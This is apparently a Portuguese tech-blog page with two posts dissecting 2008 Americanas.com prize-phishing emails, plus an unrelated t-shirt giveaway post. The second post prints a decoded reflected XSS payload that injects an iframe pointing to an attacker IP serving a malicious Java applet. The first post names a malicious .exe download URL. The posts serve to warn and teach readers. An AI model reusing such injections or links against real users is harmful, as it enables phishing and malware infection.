• Segurança

    Americanas.com – Voce foi sorteado

    A mensagem abaixo chegou por e-mail e foi muito esperta em vários pontos, tentando me convencer de que eu tinha realmente sido sorteado pelo site Americanas.com a ganhar uma TV de 42″ (um dos meus objetos de desejo), mas foi uma prima pobre e mal copiada de uma outra muito bem elaborada que já falamos aqui. E claro, os scammers sempre caem em algum erro e dá pra sacar a safadeza.

    1. Eu sou cliente do site, já comprei lá e tenho cadastro. Mas e quem não é? Você já comprou alguma coisa no site das Americanas.com? Se considera um comprador compulsivo? Sim, porque o site não iria selecionar alguém que comprou apenas um livro ou um cd com um ano de cadastro, não acha? É uma promoção, não rasgar dinheiro. Se não é cliente, nunca comprou, já descarte de primeira.
    2. Ah, ok, você é cliente cadastrado, compra regularmente e se acha elegível para ganhar uma TV. Notou que na mensagem não citaram seu nome? Até mesmo o seu e-mail está oculto!? Será que essa mensagem foi mesmo pra você? Acha que uma empresa como essa enviaria um e-mail tão importante assim, de forma que pudessa cair no anti-spam tão fácil? NOT!
    3. E será que foi mesmo o site que te enviou a mensagem? Já viu o remetente? clienteespecial@quatrocantos.com. O mais engraçado é que o tal site Quatro Cantos é famoso por ter uma seção parecida com o Balela.info, que indica scams. Curioso, não?
    4. Use a dica (curiosa, por sinal) constante no próprio e-mail: “Sempre confira se o link é para o site verdadeiro da Americanas.com“. Então, o link, né? NÃO É! Ao clicar você é direcionado para http://www.whoopzhookz.com/americanas.com/promocoes/ClienteEspecial/ e é solicitado o download de um arquivo Formulario.Americanas.exe. Um executável do Windows, contendo software malicioso e muito provavelmente um trojan.

    Mensagem original (screenshot)

    Balela das Americanas.com

    Mensagem original (texto)

    Você está entre os 10 e-mails sorteados da Promoção Cliente Especial.
    TV 42″ LCD (1920 X 1080 Pixels), Full HD, 2 Conexões HDMI e Double Window – 42LY3RF – LG

    Seu e-mail foi sorteado entre os milhares em nosso banco de dados e você foi selecionado para ganhar uma TV LCD! Apenas 10 e-mails foram sorteados, e desses 10, apenas 1 será o ganhador da Promoção Americanas Cliente Especial. Você está na reta final para ter uma TV LCD 42″, basta acessar nosso link clicando no botão Validar Email logo abaixo e confirmar seu nome e endereço

    ATENÇÃO: A Americanas.com não solicita dados como cartão de credito por e-mail.

    Sempre confira se o link é para o site verdadeiro da Americanas.com
    Nunca informe sua senha para terceiros.

    Seu e-mail precisa ser verificado por você caso deseje participar da promoção. Para isso basta clicar no botão Validar E-mail.
    Ap?s clicar,ser? exibida uma caixa de download,que ? o formul?rio para o cadastro,para visualiza-lo clique em Abrir/Executar.

    Mensagem recebida por e-mail em 26/08/2008

  • Segurança

    AMERICANAS.COM – Voce foi sorteado!

    Entre os vários tipos de Phishing Scam que existem, os que dão mais resultado são os que oferecem algum prêmio. O fato de oferecer algo caro e que seja um sonho de consumo da pessoa, um carro, celular, computador, TV de Plasma, o que seja, faz com que o destinatário fique cego e não perceba os truques presentes.

    Esse Scam é até muito bem feito, pois usa uma técnica diferente para direcionar o usuário ao endereço malicioso e applet java para instalar malware. Algo chamado Javascript Injection. O link possui uma instrução que invalida todo o restante, então, para os leigos, o link está corretamente direcionado para o site das Lojas Americanas. Outras dicas são:

    1. Você alguma vez comprou no site Americanas.com ou Submarino.com? Caso contrário, qualquer e-mail que chegue dizendo-se passar por um desses serviços é MENTIRA. Apague imediatamente.
    2. Não achou estranho você ser “sorteado” e nem mesmo o seu nome aparecer no e-mail? E como assim você precisa “validar seu e-mail”? Eles sabem quem é você, possuem seu endereço completo e seu telefone. Algum motivo para enviarem um e-mail?
    3. Note o link. Ele veio enorme e com muitos caracteres estranhos, não? Isso é uma tentativa de execução de javascript direto no seu navegador. Recebi 2 e-mails desses, mas só o segundo continha o código correto, o primeiro não fazia absolutamente nada, ou seja, os “hackers phodões” fizeram merda e erraram o código. A URL depois de decodificada fica assim:

      http://carrinho.americanas.com.br/portal/meuCadastro.portal?_nfpb=true& LoginControllerPortlet_actionOverride=<script>window.onload=function(){ with(document.body.style){border=”none”;margin=”0 0 0 0″};document.body.innerHTML='<iframe src=http://203.124.22.143/java/index.htm style=border:none;height:700;width:1000>’};document.title=’Americanas’ </script><textarea>

    4. Ao entrar no site que o e-mail tentava direcionar, abre-se uma tela pedindo solicitação para instalar um JAVA. Atenção! Um applet java possui os mesmos direitos de acesso ao seu computador que o usuário que o está executando, em sua maioria, o administrador. Isso é um perigo potencial e instalar essa solicitação é altamente desaconselhada. A tela exibida está abaixo.

    Mensagem original (screenshot)

    Flickr: Americanas.com Você foi Sorteado

    Tela que simula o site Americanas.com (screenshot)

    Flickr: Americanas.com Você foi Sorteado

    Mensagem original (texto)

    Você está entre os 10 e-mails sorteados da Promoção Cliente Especial. TV 42″ LCD (1920 X 1080 Pixels), Full HD, 2 Conexões HDMI e Double Window – 42LY3RF – LG

    Seu e-mail foi sorteado entre os milhares em nosso banco de dados e você foi selecionado para ganhar uma TV LCD! Apenas 10 e-mails foram sorteados, e desses 10, apenas 1 será o ganhador da Promoção Americanas Cliente Especial. Você está na reta final para ter uma TV LCD 42″, basta acessar nosso link clicando no botão Validar Email logo abaixo e confirmar seu nome e endereço

    ATENÇÃO: A Americanas.com não solicita dados como cartão de credito por e-mail.

    Sempre confira se o link é para o site verdadeiro da Americanas.com

    Nunca informe sua senha para terceiros.

    Seu e-mail precisa ser verificado por você caso deseje participar da promoção. Para isso basta clicar no botão Validar E-mail.

    Mensagem recebida por e-mail em 16/04/2008

  • Internet

    Comentário legal = Camiseta bacana

    Durante a Maratona Blogando24h, o melhor comentário feito aqui no Tecnocracia vai ganhar uma camiseta bacana, transada da Jaeh! Camisetas. Estão valendo comentários e trackbacks nos artigos postados entre a 0h do dia 1 de julho e as 23h59 do mesmo dia.

    Camiseta nova JaehA Jaeh!, nossa parceira sempre disposta a apoiar as doideras aqui, é uma estamparia muito bacana que segue os moldes da Web 2.0. Você se cadastra no site e envia estampas, que serão votadas pelos próprios usuários e as mais legais viram camisetas de altí­ssima qualidade.

    Vou adiantar logo que em breve vai ter novidade na Jaeh!, segundo me informou secretamente a Renata e eu estou espalhando, como bom blogueiro. Eu só não descobri ainda o que é, mas parece que é coisa boa ;-).

    Então é isso pessoal, fiquem ligados na Blogando24h nos sites participantes e não deixe de comentar – isso vai nos manter acordados e você ainda pode levar uma camiseta massa!

    * O ganhador pode escolher qualquer camiseta disponí­vel, em modelo e tamanho, no estoque da Jaeh!.